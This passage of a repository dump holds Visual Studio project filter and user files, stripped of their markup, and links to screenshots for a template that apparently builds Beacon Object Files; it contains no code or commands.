-------------------------------------------------------------------------------- /examples/scheduled-tasks/scheduled-tasks.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {f23d5754-25e5-46a9-b783-8685f48d2291} 6 | 7 | 8 | {72263c50-a87a-4d99-9746-3def65c61180} 9 | 10 | 11 | {999efb6a-e35d-49fb-bf81-1ebab5077dd0} 12 | 13 | 14 | 15 | 16 | Source Files 17 | 18 | 19 | 20 | 21 | Header Files 22 | 23 | 24 | Header Files 25 | 26 | 27 | 28 | 29 | Resources 30 | 31 | 32 | -------------------------------------------------------------------------------- /examples/scheduled-tasks/scheduled-tasks.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /images/NewProjectWizard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/NewProjectWizard.png -------------------------------------------------------------------------------- /images/TemplatesLocation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/TemplatesLocation.png -------------------------------------------------------------------------------- /images/building.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/building.png -------------------------------------------------------------------------------- /images/building2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/building2.png -------------------------------------------------------------------------------- /images/code1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/code1.png -------------------------------------------------------------------------------- /images/errors.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/errors.png -------------------------------------------------------------------------------- /images/output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/output.png -------------------------------------------------------------------------------- /images/project_structure.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/project_structure.png --------------------------------------------------------------------------------